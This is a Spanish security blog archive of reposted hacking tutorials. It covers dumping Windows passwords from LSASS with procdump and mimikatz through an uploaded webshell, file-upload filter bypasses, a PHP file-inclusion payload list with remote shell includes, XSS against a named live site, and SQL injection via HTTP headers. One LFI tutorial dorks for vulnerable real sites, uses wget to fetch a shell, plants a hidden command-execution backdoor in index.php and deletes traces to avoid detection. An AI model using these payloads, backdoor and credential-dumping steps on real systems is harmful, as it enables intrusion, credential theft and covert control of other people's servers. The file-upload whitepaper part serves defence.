Banner 1

Mostrando entradas con la etiqueta desfacing. Mostrar todas las entradas
Mostrando entradas con la etiqueta desfacing. Mostrar todas las entradas

EXTRAYENDO CONTRASEÑAS DE LA RAM CON MIMIKATZ 2.0 (ALFA)

0 comentarios
Mimikatz 2.0 (ALFA), esta herramienta puede ser particularmente útil durante la etapa de explotación de vulnerabilidades en un servicio de pentest, por ejemplo la explotación de una aplicación web vulnerable a carga de archivos (File Upload) sin restricciones en muchos ataques es el primer paso para tomar control del sistema objetivo.

A continuación, el ataque sólo tiene que encontrar la manera de ejecutar código luego de subir la respectiva webshell "phpshel.php" vemos que nos encontramos con permisos de "NT AUTHORITY\SYSTEM" y queremos extraer la clave del "Administrator", lo primero que pensamos es "la hago con meterpreter" y cuando logramos subirlo el antivirus del servidor web afectado reconoce dicha herramienta como código "malicioso"...

Para este caso podríamos utilizar la técnica que nos presenta mimikatz 2.0 (ALFA) puesto que en esta nueva versión ya no es necesario “inyectar” la librería "sekurlsa.dll" en el proceso de LSASS mimikatz# inject::process lsass.exe sekurlsa.dll, en esta nueva versión la técnica se basa en la obtención de contraseñas en texto plano volcando el proceso LSASS.EXE desde la memoria RAM, sin necesidad de ejecutar código "malicioso" en el servidor, de esta forma se evita tener que lidiar con técnicas de evasión antivirus y otros dolores de cabeza.

En este post me gustaría mostrar paso a paso como podemos usar la funcionalidad de mimikatz 2.0 (ALFA) explotando una aplicación web vulnerable a carga de archivos sobre un servidor Windows 2008.

1.SUBIENDO LAS HERRAMIENTAS

Subir las herramientas usando una aplicación vulnerable a carga de archivos (File Upload).
En caso de tener problemas para hallar la ruta en donde se han almacenado los archivos cargados en el servidor, podríamos usar Dirbuster para tratar de descubrir el directorio en donde se encuentren nuestros archivos en este caso se hallaron en "/webapp/admin/panel/images/"

phpshell.php; para realizar la ejecución de comandos en el servidor web afectado.
procdump.exe; nos permitirá realizar el volcar el espacio de memoria RAM del proceso LSASS.EXE a un archivo.dmp (dump)


Subiendo "WebShell" al servidor

Subiendo "procdump" al servidor


2.VOLCANDO LA RAM DEL SERVIDOR WEB

Ejecución del comando "dir" en el servidor para confirmar se logro subir la herramienta procdump.exe y el script desde donde se ejecutara (script.dumper.bat)

Usaremos Procdump para volcar el espacio de la memoria RAM asignado al proceso LSASS.EXE y generar archivo “dump” que se usará fuera de linea para conseguir la contraseña del "Administrador local" y/o del "Domain Admin".

Ejecución comando "dir" mediante phpshell.php?cmd=dir

Como utilizo procdump.exe?

Se ejecutara desde el archivo script.dumper.bat donde llamaremos a procdump.exe y le pasaremos los siguientes parámetros:

-accepteula : opción de línea de comando para aceptar automáticamente el contrato de licencia de Sysinternals.
-ma : escribir un archivo de volcado con toda la memoria del proceso. El formato de volcado predeterminado sólo incluye hilos (threads) del proceso e información de gestión.

Por último la ubicación donde se guardara el archivo con el volcado del proceso lsass.exe (C:\xampp\htdocs\webapp\admin\panel\images\) una ubicación donde se pueda descargar vía el servidor web.

Procdump : http://technet.microsoft.com/sysinternals/dd996900.aspx
type script.dumper.bat
C:\xampp\htdocs\webapp\admin\panel\images\procdump.exe 

-accepteula 

-ma lsass.exe 

C:\xampp\htdocs\webapp\admin\panel\images\%COMPUTERNAME%_lsass.dmp
Contenido del script "script.dumper.bat"

Como ejecutar script.dumper.bat en el servidor web?
Ejecución script.bat mediante phpshell.php?cmd=script.dumper.bat

Descargar el archivo “dump” para explotarlo con #mimikat
Descarga del volcado de la RAM desde el directorio web


3.USANDO MIMIKATZ 2.0 - Modulo MINIDUMP!!

Descargar mimikatz desde el repositorio oficial gentilkiwi, descomprimir e ingresar desde la consola de comandos ejecutando mimikatz.exe.
mimikatz # privilege::debug
mimikatz # sekurlsa::minidump nombre-del-archivo-dump-descargado.dmp
mimikatz # sekurlsa::logonpasswords


Listado de Archivos.

Enumeración de hashes y claves en texto plano del usuario Administrador


Herramientas utilizadas: Mimikatz: http://blog.gentilkiwi.com/securite/mimikatz/minidump
Procdump: http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

Fuente: http://ehopen-sec.blogspot.com/2014/01/extrayendo-contrasenas-de-la-ram-con.html

Probando aplicaciones de auditoría web con Google Web "Firing Range"

0 comentarios
Google anunció el pasado martes en su blog Google Online Security la publicación de una aplicación online (con su código fuente correspondiente) en la que se recopilaban diferentes pruebas de concepto relacionadas con vulnerabilidades típicas web, con especial hincapié en todas las variantes posibles para la ejecución de Cross-Site Scriptings. Actualmente Google se encuentra desarrollando una herramienta de auditoría de vulnerabilidades para uso interno (a la que llaman Inquisition) para la cual necesitaban casos reales de vulnerabilidades para probar su eficacia.



Disponemos de páginas preparadas para probar vulnerabilidades de los siguientes tipos hasta el momento (y dentro de cada tipología con multitud de pruebas posibles a realizar):
  • Cross-Site Scripting Address DOM
  • XSS de redirección
  • XSS reflejados
  • XSS basados en Tag
  • Cross-Site Scripting escapados por el servidor
  • XSS de inclusión remota
  • Cross-Site Scripting de DOM
  • Vulnerabilidades relacionadas con CORS (Cross Origin Resource Sharing)
  • Inyección Flash
  • Contenido mixto
  • ClickJacking inverso
Casos de pruebas dentro de la sección "Escape XSS"
Como podréis observar, el diseño no es lo más relevante, ya que lo que prima en este caso es tener un banco de pruebas sobre el que lanzar herramientas de detección de este tipo de vulnerabilidades y probar su eficacia, además de obviamente poder realizar pruebas de manera manual para conseguir el objetivo de un famoso alert() u otros tipos de acciones más interesantes.
Tenéis más información en el post de Google Online Security escrito por Claudio Criscione (Security Engineer en Google), así como en el repositorio de código del proyecto.
[+] Firing Range (Google) https://public-firing-range.appspot.com
 
Fuente: http://www.securitybydefault.com/2014/11/probando-aplicaciones-de-auditoria-web.html

From SQL injection to Shell : Practicando SQL injectión

0 comentarios


From SQL injection to Shell

Difficulty

Beginner

Details

This exercise explains how you can from a SQL injection gain access to the administration console. Then in the administration console, how you can run commands on the system.

What you will learn?

  • SQL injection exploitation using UNION
  • Cracking md5 hashed passwords
  • Writing a PHP webshell

Requirements

  • A computer with a virtualisation software
  • A basic understanding of HTTP
  • A basic understanding of PHP
  • Yes, that's it!

Download


Mirror


Fuente:
https://www.pentesterlab.com/exercises/from_sqli_to_shell/

Ayuda para resolver el laboratorio:
http://websec.ca/kb/sql_injection

Why File Upload Forms are a Major Security Threat

0 comentarios
To allow an end user to upload files to your website, is like opening another door for a malicious user to compromise your server.  Even though, in today’s modern internet web applications, it is a common requirement, because it helps in increasing your business efficiency.  File uploads are allowed in social network web applications, such as Facebook and Twitter.  They are also allowed in blogs, forums, e-banking sites, YouTube and also in corporate support portals, to give the opportunity to the end user to efficiently share files with corporate employees.  Users are allowed to upload images, videos, avatars and many other types of files.
The more functionality provided to the end user, the greater is the risk of having a vulnerable web application and the chance that such functionality will be abused from malicious users, to gain access to a specific website, or to compromise a server is very high.
While testing several web applications, we noticed that a good number of well known web applications, do not have secure file upload forms.  Some of these vulnerabilities were easily exploited, and we could gain access to the file system of the server hosting these web applications.  In this whitepaper, we present you with 8 common ways we encountered of securing file upload forms.  We also show how a malicious user, can easily bypass such security measures.

Case 1: Simple File Upload Form with no Validation

A simple file upload form usually consists of a HTML form and a PHP script.  The HTML form, is the form presented to the user, while the PHP script contains the code that takes care of the file upload.  Below is an example of such form and PHP script:
HTML Form:
<form enctype="multipart/form-data" action="uploader.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" /> </form>

PHP Code:

  1. $target_path  =  "uploads/";
  2. $target_path  =  $target_path  .  basename($_FILES['uploadedfile']['name']);
  3. if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
  4. echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
  5. } else {
  6. echo "There was an error uploading the file, please try again!";
  7. }
  8. ?>

When PHP receives a POST request with encoding type multipart/form-data, it will create a temporary file with a random name in a temp directory (e.g. /var/tmp/php6yXOVs). PhP will also populate the global array $_FILES with the information about the uploaded file:
  • $_FILES[‘uploadedfile’][‘name’]: The original name of the file on the client machine
  • $_FILES[‘uploadedfile’][‘type’]: The mime type of the file
  • $_FILES[‘uploadedfile’][‘size’]: The size of the file in bytes
  • $_FILES[‘uploadedfile’][‘tmp_name’]: The temporary filename in which the uploaded file was stored on the server.
The PHP function move_uploaded_file will move the temporary file to a location provided by the user. In this case, the destination is below the server root. Therefore the files can be accessed using a URL like: https://www.domain.tld/uploads/uploadedfile.ext. In this simple example, there are no restrictions about the type of files allowed for upload and therefore an attacker can upload a PHP or .NET file with malicious code that can lead to a server compromise.
This might look like a naïve example, but we did encounter such code in a number of web applications.

Case 2: Mime Type Validation

Another common mistake web developers make when securing file upload forms, is to only check for mime type returned from PHP. When a file is uploaded to the server, PHP will set the variable $_FILES[‘uploadedfile’][‘type’] to the mime-type provided by the web browser the client is using. However, a file upload form validation cannot depend on this value only. A malicious user can easily upload files using a script or some other automated application that allows sending of HTTP POST requests, which allow him to send a fake mime-type.

Case 3: Block Dangerous Extensions

In other cases, we encountered file upload forms using a blacklist approach, as a security measure. A list of dangerous extensions is compiled from the developer, and the access is denied if the extension of the file being uploaded is on the compiled list.
One main disadvantage of using black listing of file extensions, is that it is almost impossible to compile a list that includes all possible extensions that an attacker can use. E.g. If the code is running in a hosted environment, usually such environments allow a large number of scripting languages, such as Perl, Python, Ruby etc, and the list can be endless.
A malicious user can easily bypass such check by uploading a file called “.htaccess”, which contains a line of code similar to the below:
AddType application/x-httpd-php .jpg
The above line of code, instructs Apache web server to execute jpg images as if they were PHP scripts. The attacker can now upload a file with a jpg extension, which contains PHP code. As seen in the screen shot below, requesting a jpg file which includes the PHP command phpinfo() from a web browser, it is still executed from the web server:
Why File Upload Forms are a Security Threat
Case 4: Double extensions (part 1)
This case’s security measures, as a concept are very similar to that one used in case 3. Though instead of simply checking the extension string present in the filename, the developer is extracting the file extension by looking for the ‘.’ character in the filename, and extracting the string after the dot character.
The method used to bypass this approach is a bit more complicated, but still realistic. First, let’s have a look at how Apache handles files with multiple extensions. A quote from the Apache manual states:
“Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given which maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.”
Therefore a file named ‘filename.php.123’, will be interpreted as a PHP file and will be executed. This only works if the last extension (in our case .123), is not specified in the list of mime-types known to the web server. Web developers, usually are not aware of such ‘feature’ in Apache, which can be very dangerous for a number of reasons. Knowing this, an attacker can upload a file named shell.php.123 and bypass the file upload form protection. The script will compute the last extension (.123), and concludes that this extension is not in the list of dangerous extension. Having said that, it is impossible to predict all the possible random extensions a malicious user will use to be able to upload a file on your web server.
Case 5: Double extensions (part 2)
A better approach to securing file upload forms is the white list approach. In this case, the developer defines a list of known/accepted extensions and does not allow extensions that are not specified in the list.
However, in some cases this approach will not work as expected. When Apache is configured to execute PHP code, there are 2 ways one can specify this: to use the AddHandler directive, or to use the AddType directive. If AddHandler directive is used, all filenames containing the ‘.php’ extension (e.g. ‘.php’, ‘.php.jpg’) will be executed as a PHP script. Therefore, if your Apache configuration file contains the following line, you may be vulnerable:
AddHandler php5-script .php
An attacker can upload a file named ‘filename.php.jpg’ and bypass the protection, and will be able to execute the code.
Case 6: Checking the image header
When images only are allowed to be uploaded, developers usually validate the image header by using the PHP function called getimagesize. When called, this function will return the size of an image. If the image validation is invalid, which means that the header is incorrect, the function will return a false. Therefore a developer typically checks if the function returns a true or false, and validate the uploaded file using this information. So, if a malicious user tries to upload a simple PHP shell embedded in a jpg file, the function will return false and he won’t be allowed to upload the file. However, even this approach can be easily bypassed. If a picture is opened in an image editor, like Gimp, one can edit the image comment, where PHP code is inserted, as shown below.
The image will still have a valid header; therefore it bypasses the getimagesize PHP check. As seen in the screen shot below, the PHP code inserted in the image comments still gets executed when the image is requested from a normal web browser:
Case 7: Protecting the upload folder with .htaccess
Another popular way of securing file upload forms, is to protect the folder where the files are uploaded using .htaccess file. The idea is to restrict execution of script files in this folder. A .htaccess file typically contains the below code when used in this kind of scenario:
AddHandler cgi-script .php .php3 .php4 .phtml .pl .py .jsp .asp .htm .shtml .sh .cgi
Options –ExecCGI
The above is another type of blacklist approach, which in itself is not very secure. In the PHP manual, in the move_uploaded_file section, there is a warning which states ‘If the destination file already exists, it will be overwritten.
Because uploaded files can and will overwrite the existing ones, a malicious user can easily replace the .htaccess file with his own modified version. This will allows him to execute specific scripts which can help him compromise the server.
Case 8: Client-side validation
Another common type of security used in file upload forms, is client-side validation of files to be uploaded. Typically, such approach is more common in ASP.NET applications, since ASP.NET offers easy to use validation controls.
These types of validation controls, allow a developer to do regular-expression checks upon the file that is being uploaded, to check that the extension of the file being uploaded is specified in the list of allowed extensions. Below is a sample code, taken from the Microsoft’s website:

  1. "FileUpload1"
runat="server" />
  •  
  • "Button1"
  • runat="server" OnClick="Button1_Click" Text="Upload File" /> 
  •  
  • "Label1"
  • runat="server">
  • "RegularExpressionValidator1"
  • runat="server"
  • ErrorMessage="Only mp3, m3u or mpeg files are allowed!"
  • ValidationExpression="^(([a-zA-Z]:)|(\\{2}\w+)\$?)(\\(\w[\w].*))
  • +(.mp3|.MP3|.mpeg|.MPEG|.m3u|.M3U)$" ControlToValidate="FileUpload1">
  •  
  • "RequiredFieldValidator1"
  • runat="server"
  • ErrorMessage="This is a required field!"
  • ControlToValidate="FileUpload1">
  •  

  • This ASP.NET code uses validation controls, so the end user is only allowed to upload .mp3, .mpeg or .m3u files to the web server. If the file type does not match any of the 3 specified extensions, the validation control throws an exception and the file won’t be uploaded.
    Because this type of validation is done on the client side, a malicious user can easily bypass this type of validation. It is possible to write a short client side script that will do the validation instead of the script provided by the web application. Without using a web browser, the attacker can use an application that allows sending of HTTP POST requests to be able to upload the file.
    Suggested Solution
    Below is a list of best practices that should be enforced when file uploads are allowed on websites and web applications. These practices will help you securing file upload forms used in web applications;
    • Define a .htaccess file that will only allow access to files with allowed extensions.
    • Do not place the .htaccess file in the same directory where the uploaded files will be stored. It should be placed in the parent directory.
    • A typical .htaccess which allows only gif, jpg, jpeg and png files should include the following (adapt it for your own need). This will also prevent double extension attacks.

    deny from all
    order deny,allow
    allow from all

    • If possible, upload the files in a directory outside the server root.
    • Prevent overwriting of existing files (to prevent the .htaccess overwrite attack).
    • Create a list of accepted mime-types (map extensions from these mime types).
    • Generate a random file name and add the previously generated extension.
    • Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server-side and client-side validation implemented.
    Conclusion

    As seen above, there are many ways how a malicious user can bypass file upload form security. For this reason, when implementing a file upload form in a web application, one should make sure to follow correct security guidelines and test them properly. Unfortunately, to perform the number of tests required, can take a lot of time and require a good amount of web security expertise.
    Though with Acunetix WVS, one can automatically perform file upload forms vulnerability tests without the need of web security expertise. Acunetix WVS provides the developer with extensive amount of information to be able to trace and fix the problem in the least possible time.
    Visit https://www.acunetix.com/vulnerability-scanner/ for more information on Acunetix Web Vulnerability Scanner.

    Bogdan Calin, May 2009
    Download this whitepaper as PDF.

    Exploiting PHP File Inclusion – Overview

    0 comentarios
    Para ver mejor la forma de explotación remitir a la fuente.

    Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

    Basic Local File Inclusion:


    1
    include("inc/" . $_GET['file']); ?>

    • Including files in the same directory:
      ?file=.htaccess
    • Path Traversal:
      ?file=../../../../../../../../../var/lib/locate.db
      (this file is very interesting because it lets you search the filesystem, other files)
    • Including injected PHP code:
      ?file=../../../../../../../../../var/log/apache/error.log
      Limited Local File Inclusion:
      1
      include("inc/" . $_GET['file'] . ".htm"); ?>
      • Null Byte Injection:
        ?file=../../../../../../../../../etc/passwd
        (requires magic_quotes_gpc=off)
      • Directory Listing with Null Byte Injection:
        ?file=../../../../../../../../../var/www/accounts/
        (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
      • Path Truncation:
        ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
        (more details see here and here)
      • Dot Truncation:
        ?file=../../../../../../../../../etc/passwd……………. …
        (Windows only, more details here)
      • Reverse Path Truncation:
        ?file=../../../../ [...] ../../../../../etc/passwd
        (more details here)
      Basic Remote File Inclusion
      1
      include($_GET['file']); ?>
      • Including Remote Code:
        ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
        (requires allow_url_fopen=On and allow_url_include=On)
      • Using PHP stream php://input:
        ?file=php://input
        (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
      • Using PHP stream php://filter:
        ?file=php://filter/convert.base64-encode/resource=index.php
        (lets you read PHP source because it wont get evaluated in base64. More details here and here)
      • Using data URIs:
        ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
        (requires allow_url_include=On)
      • Using XSS:
        ?file=http://127.0.0.1/path/xss.php?xss=phpcode
        (makes sense if firewalled or only whitelisted domains allowed)
      Limited Remote File Inclusion
      1
      include($_GET['file'] . ".htm"); ?>
      • ?file=http://websec.wordpress.com/shell
      • ?file=http://websec.wordpress.com/shell.txt?
      • ?file=http://websec.wordpress.com/shell.txt%23
      • (requires allow_url_fopen=On and allow_url_include=On)
      • ?file=\\evilshare\shell.php
      • (bypasses allow_url_fopen=Off)
      Static Remote File Inclusion:
      • Man In The Middle
        (lame indeed, but often forgotten)
      Filter evasion
      • Access files with wildcards (read more here)
      Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.
    Fuente: http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

    Links de interés:

    http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection
    http://www.theprohack.com/2009/07/null-byte-hack.html
    http://hakipedia.com/index.php/Poison_Null_Byte
    https://www.owasp.org/index.php/Unrestricted_File_Upload --Completo

    Cross Site Scripting (XSS) y Vectores de Evasion

    0 comentarios

    Cross Site Scripting (XSS) y Vectores de Evasion

    Bueno Antes que Nada este es solo un modelo de las posibilidades que brinda esta vulnerabilidad
    recomiendo utilizar Firefox ya que Chrome tiene un bloqueo de Pop-up que nos va a impedir explotar comodamente el fallo


    A tener en Cuenta:

    Existe 2 tipos de XSS (Cross Site Scripting) ambos se basan en la ejecucion de codigo JavaScript sin que el ClientSide este pendiente de que esto va a suceder.


    Reflected:

    Son Aquellos producidos por un reflejo del Vector ingresado en el codigo html, por ej: Impresion de la Busqueda en una Web


    Stored:

    Son Aquellos Cuyo Vector ingresado queda registrado y/o impreso directamente en el contenido html de la Web Afectada.

    Un Ej de esto seria un comentario de Moderacion que se guarda en una base de datos de gestion web por un Panel de Administracion, para darle el visto bueno.

    Al Ingresar por ej un Script del tipo no lo veriamos ejecutarce porq este esta pendiente de moderacion,
    el Administrador al Ingresar al Panel de Moderacion este comentario se ejecutaria al momento de Moderar el Comentario. (Situacion Ideal)

    Esto se puede utilizar para robar Cookies para luego lograr logearnos como ese Usuario.


    Desarrollo:
    En Fin Ambos Ataques se diferencian unicamente en el alcanse que poseen, XSS Reflected requiere un poco de ingenieria social para lograr nuestro Objetico

    Hoy Vamos a Tomar como ejempo a http://www.napsix.com/ que posee un fallo de XSS Reflected que reportado numerosas veces sin tener respuestas ni ver Correccion del Bug.


    Comencemos:

    Abrimos en Nuestro Navegador http://www.napsix.com/ y vemos un flamante campo de Busqueda, interesado en ver que sucede ingreso un Vector de Busqueda.

    Vector de Busqueda: >AQUI<

    Inspeccionamos Elementos con Chrome y buscamos dentro del Codigo html la palabra AQUI




    Vemos que no produce ningun tipo de Evacion ni Filtrado ante los caracteres ">" ni "<" esto da pie a pensar que vulnerable sin siquiera tener
    que evadir con Double Encode.


    Analicemos:



    lo que intentaremos lograr es sacar nuestro Vector de Ataque fuera del input, como podemos ver la propiedad Value abre y cierra con doble comilla
    intentaremos cerrar value, luego cerrar el input, injectar el vector y comentar el resto del codigo html


    Escapando de la propiedad Value:

    Para lograr esto en nuestro vector inyectaremos unas comillas dobles (")

    esto quedara de la siguiente manera:



    como podemos ver queda por demas al final de la etiqueta un " antes del cierre >


    Escapando del Input:

    Ahora escaparemos del input, la logica de lo que vemos dice q se cierra con un ">" pero con un conocimiento minimo de html sabremos que las etiquetas input se cierran con /> aunque el inspector de Elementos de Chrome diga lo contrario.

    Inyectaremos como Vector ("/>)

    y nos quedara de la siguiente manera:

    (">)

    Como vemos queda de mas al final de nuestro input "> esto producira un error de sintaxis por lo que deseamos eliminar esto ultimo
    y lo vamos a lograr comentando el resto del codigo html

    Por lo que agregaremos un

    NOTA: revisar la fuente porque blogger daña los códigos.

    Fuente: http://hdbreaker96.blogspot.com/2013/04/cross-site-scripting-xss-y-vectores-de.html

    Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdorizar

    0 comentarios
    Leyendo el Post de CalebBuker sobre LFI atrasves de php://input decidí hacer un tutorial de otro método para conseguir subir una shell por medio de LFI utilizando inyecciones php a través de una vulnerabilidad en el /proc/self/environ Empecemos:

    Primero Buscamos con un dork alguna web Vulnerable a LFI

    Dork:

    inurl:*.php?page=* site:.com.ar

    Vamos probando hasta encontrar una q al incluir /etc/passwd nos muestra su contenido
    En este caso:

    http://sitiovulnerable/index.php?page=/etc/passwd



    Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado

    http://sitiovulnerable/index.php?page=/proc/self/environ




    Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data:

    Damos clik en Start Tamper y volvemos a realizar la Peticion al sitio web

    Atrapa el Primer "paquete" y nos sale el siguiente cartel



    Desactivamos la casilla "Continue Tampering" y Damos Click en Tamper, modificamos el Parametro User-Agent intrudiciendo algun Codigo php, de Prueba, Yo intentare con para ver si logramos listar el contenido de host.



    Damos Click en OK y vemos q el codigo php se ejecuta correctamente y lista los archivos y directorios de la web Vulnerable:



    Ahora Sabemos que se puede ejecutar Codigo Shell atraves de php con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)

    Subiremos Nuestra Shell, de la siguiente forma.

    Abriremos Tamper Data y comensaremos a Capturar.
    Repetiremos la Peticion al host:
    http://sitiovulnerable/index.php?page=/proc/self/environ
    Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php





    Repetimos la Operacion Con Tamper Data y Comprobamos q nuestra shell se subio correctamente pasando como parametro en User-Agent


    Vemos que dentro de la lista de archivos del host aparece nuestra shell



    Convertiremos Nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como Parametro de User-Agent


    Una ves Hecho Esto repetimos el procedimiento con tamper data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:




    Como vemos el archivo fue Renombrado Correctamente, solo nos queda vistar nuestro archivo por medio de la URL

    http://sitiovulerable/s.php



    Como vemos la ejecucion de la shellphp, se ejecuto Correctamente. Como es un Sitio Importante y no queremos q nos detecten, introduciremos un backdoor dentro del codigo de algun archivo, yo elegi index.php




    Les Dejo el code del backdoor q arme:

    if($_GET['active']=='si'){
    system( $_GET['c']);
    }
    ?>

    Lo Introduciremos dentro de index.php y al llamarlo desde

    http://SutioVulnerable/index.php?c=ls&active=si

    nos mostrara el resultado de la ejecucion del parametro q pasemos.




    Solo nos queda Eliminar s.php con el comando rm s.php por medio de nuestro backdoor

    http://SutioVulnerable/index.php?c=rm s.php&active=si

    Listamos el Contenido del Host

    http://SutioVulnerable/index.php?c=ls&active=si

    y vemos q s.php ha desaparecido.




    Espero que este tutorial les halla servido, HD_Breaker

    Renuncia: No me hago Responsable del Uso que le den a este tutorial, su contenido es puramente educativo

    Fuente: http://hdbreaker96.blogspot.com/2012/07/explotar-lfi-subir-shell-explotando.html

    Como realizar Inyecciónes SQL a través de HTTP Headers

    0 comentarios
    Durante la evaluación de la vulnerabilidad o las pruebas de penetración, la identificación de los vectores de entrada de la aplicación de destino es un paso primordial. A veces, cuando se trata de pruebas de aplicaciones Web, las rutinas de verificación en relación con los errores de inyección SQL descubrimiento se restringen a las variables GET y POST como las entradas vectores singulares de la historia. ¿Qué pasa con otros parámetros de cabecera HTTP? ¿No son los vectores de entrada potencial para los ataques de inyección SQL? ¿Cómo se puede probar todos estos parámetros HTTP y que los escáneres de vulnerabilidad a utilizar con el fin de evitar dejar vulnerabilidades sin descubrir en algunas partes de la aplicación?



    Un resultado de una comparación de 60 comerciales y de código abierto de la caja negro escáneres de vulnerabilidades de aplicaciones web fue puesto en libertad y titulado: «La Legión de escaneo: Escáner de aplicaciones Web Precisión Evaluación y Comparación de funciones». Este punto de referencia, realizado por el investigador de seguridad Shay Chen en 2011, se centró en las pruebas de las herramientas comerciales y de código abierto que son capaces de detectar (y no explotar necesariamente) las vulnerabilidades de seguridad en una amplia gama de las direcciones URL.
    Hemos concluido el siguiente gráfico que muestra la cobertura del parámetro de entrada el apoyo de scanners de aplicaciones web probadas. Estas entradas son básicamente:

    Parámetros de cadena de consulta HTTP (GET): parámetros de entrada enviados en la URL.
    Parámetros Cuerpo HTTP (POST): parámetros de entrada enviados en el cuerpo HTTP.
    Parámetros HTTP Cookie: parámetros de entrada enviados en la cookie HTTP.
    Encabezados HTTP: HTTP encabezados de solicitud utilizados por la aplicación.



    Esta gráfica muestra obviamente que el 75% de los escáneres de aplicaciones Web no pudo descubrir encabezados HTTP parámetros defectos relacionados. Por otra parte, el 70% de estos escáneres no inspeccionar cookies HTTP vulnerabilidades persona. Estas tasas se refieren exactamente a la capacidad de los escáneres para escanear el vector de entrada, no simplemente para interpretarlo. En comparación con la puntuación razonable realizada por GET y POST, algunas herramientas de pruebas automatizadas pueden llevar a resultados no satisfechas cuando se trata de la cabecera HTTP como un vector de entrada de inyección SQL.



    Como cuestión de hecho, las Cookies Encabezados HTTP y no debe ser subestimado. Por lo tanto, estos dos vectores se deben tomar en consideración durante plan de pruebas. Sin embargo, cuando los escáneres de vulnerabilidad utilizados no están apoyando a estas características, debemos pensar en las pruebas de estos parámetros de forma manual.

    Encabezados HTTP potenciales para inyecciones SQL

    Campos de encabezado HTTP

    Campos de cabecera HTTP son componentes de la cabecera del mensaje de peticiones y respuestas en el Protocolo de transferencia de hipertexto (HTTP). Se definen los parámetros de funcionamiento de una transacción HTTP.

    Ejemplo: solicitud HTTP


    GET / HTTP/1.1
    Connection: Keep-Alive
    Keep-Alive: 300
    Accept:*/*
    Host: host
    Accept-Language: en-us
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
    rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
    Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134


    Podemos considerar las cookies HTTP, cuando se almacenan en bases de datos para la identificación de las sesiones, como los primeros potenciales variables de HTTP que deben ser probadas. Veremos a continuación en un ejemplo de inyección SQL basada Cookie. También hay otras cabeceras HTTP relacionadas con la aplicación.

    X-Forwarded-For

    X-Forwarded-For es un campo de encabezado HTTP considerado como un estándar de facto para la identificación de la dirección IP de origen de un cliente que se conecta a un servidor web a través de un proxy HTTP o equilibrador de carga.

    Vamos a ver un ejemplo de esto basándose defecto de un envío de formularios.


    $req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");


    El inicio de sesión variable se controla correctamente debido al sanitize() method.



    function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }


    Vamos a inspeccionar la variable ip. Se está asignando la salida ip_addr() method.


    function ip_adr() { if
    (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }


    Obviamente, la dirección IP se recupera de la X_FORWARDED_FOR cabecera HTTP. Esta tarde está controlado por el preg_match que verifica si este parámetro no celebre al menos una dirección IP. Como cuestión de hecho, el entorno HTTP_X_FORWARDED_FOR variable no es verificada apropiadamente antes de su valor que se utiliza en la consulta de SQL. Esto puede llevar a ejecutar cualquier consulta SQL inyectando código SQL arbitrario en este campo.

    El simple modificación de este campo de encabezado a algo así como:


    GET /index.php HTTP/1.1
    Host: [host]
    X_FORWARDED_FOR :127.0.0.1' or 1=1#


    llevará a pasar por alto el control de autenticación.

    User-agent


    User agent es un campo de encabezado HTTP da el programa de software utilizado por el cliente original. Esto es para fines estadísticos y el rastreo de las violaciónes de protocolo. Se debe incluirse. La primera palabra espacio delimitado blanco debe ser el nombre del producto de software, con una barra y la versión designador opcional.

    No todas las aplicaciones están escritas para capturar los datos de user agent, pero a veces las aplicaciones se han diseñado para almacenar dicha información (por ejemplo:shopping cart providers) para hacer uso de ella. En este caso, vale la pena investigar el encabezado de agente de usuario de posibles problemas.

    Ejemplo de consulta HTTP:


    GET /index.php HTTP/1.1
    Host: [host]
    User-Agent: aaa' or 1/*


    Referer

    Referer es otra cabecera HTTP que puede ser vulnerable a la inyección de SQL, una vez que la aplicación se almacena en la base de datos sin esterilizarlo. Es un campo de encabezado opcional que permite al cliente especificar, para el beneficio del servidor, la dirección (URI) del documento (o elemento dentro del documento) de la que se obtuvo el URI de la solicitud. Esto permite a un servidor para generar listas de nuevo los enlaces a los documentos, por interés, la explotación forestal, etc Permite a los malos acoplamientos a remontar para el mantenimiento.

    Ejemplo:

    
